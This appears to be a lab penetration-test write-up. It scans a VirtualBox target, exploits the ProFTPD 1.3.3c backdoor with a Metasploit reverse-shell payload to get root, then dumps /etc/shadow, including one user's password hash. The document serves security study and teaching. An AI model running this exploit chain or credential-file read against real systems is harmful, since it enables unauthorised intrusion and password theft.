

Stage 1:

An Nmap service version scan was performed against the target machine (192.168.1.7). The following services were discovered:

- “FTP – ProFTPD 1.3.3c (Port 21)”
- “SSH – OpenSSH 7.2p2 (Port 22)”
- “HTTP – Apache httpd 2.4.18 (Port 80)”

These services could potentially present security risks if they contain known vulnerabilities or are misconfigured.

```
(kali@kali)-[~]
$ sudo nmap -sV 192.168.1.7
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 11:48 -0400
Nmap scan report for 192.168.1.7 (192.168.1.7)
Host is up (0.00043s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:D7:A9:15 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.82 seconds

(kali@kali)-[~]
$
```

Stage 2:

The services discovered during Stage 1 were researched using Metasploit. The FTP service (ProFTPD 1.3.3c) was found to contain a known backdoor vulnerability. The Metasploit module `exploit/unix/ftp/proftpd_133c_backdoor` identifies this vulnerability as "ProFTPD 1.3.3c Backdoor Command Execution." This backdoor was introduced into a compromised ProFTPD source package in late 2010, making systems running this version vulnerable to remote command execution.

```
msf > search proftpd

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/linux/misc/netsupport_manager_agent  2011-01-08      average No      Yes    NetSupport Manager Agent Remote Buffer Overflow
1  exploit/linux/ftp/proftpd_sreplace          2006-11-26      great  No      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2    \ target: Automatic Targeting              .            .      .      .
3    \ target: Debug                            .            .      .      .
4    \ target: ProFTPD 1.3.0 (source install) / Debian 3.1 .            .      .      .
5  exploit/freebsd/ftp/proftpd_telnet_iac      2010-11-01      great  Yes     Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
6    \ target: Automatic Targeting              .            .      .      .
7    \ target: Debug                            .            .      .      .
8    \ target: ProFTPD 1.3.2a Server (FreeBSD 8.0) .            .      .      .
9  exploit/linux/ftp/proftpd_telnet_iac      2010-11-01      great  Yes     Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
10   \ target: Automatic Targeting              .            .      .      .
11   \ target: Debug                            .            .      .      .
12   \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 .            .      .      .
13   \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 (Debug) .            .      .      .
14   \ target: ProFTPD 1.3.2c Server (Ubuntu 10.04) .            .      .      .
15  exploit/unix/ftp/proftpd_133c_backdoor      2010-12-02      excellent No      Yes    ProFTPD 1.3.3c Backdoor Command Execution
16  exploit/unix/ftp/proftpd_modcopy_exec      2015-04-22      excellent Yes     Yes    ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 16, use 16 or use exploit/unix/ftp/proftpd_modcopy_exec

msf > |
```

Stage 3:

The Metasploit module ***exploit/unix/ftp/proftpd_133c_backdoor*** was used to exploit the vulnerable ProFTPD 1.3.3c service. After configuring the target IP address and the required reverse payload, the exploit successfully opened a command shell session, demonstrating remote command execution on the target machine.

```

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.1.9
LHOST => 192.168.1.9
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):



| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.1.7     | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/reverse):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.9     | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.1.9:4444
[*] 192.168.1.7:21 - Sending Backdoor Command
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo YLYyJgXAIzBlQr4i;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "YLYyJgXAIzBlQr4i\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.7:50708) at 2026-07-22 12:32:07 -0400

```

Stage 4:

```

whoami
root
cat /etc/shadow
root:!:17484:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
marlinspike:$6$WQb5nV3T$b2W0/j0kbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbL4/:17484:0:99999:7:::
mysql:!:17486:0:99999:7:::
sshd:*:17486:0:99999:7:::

```

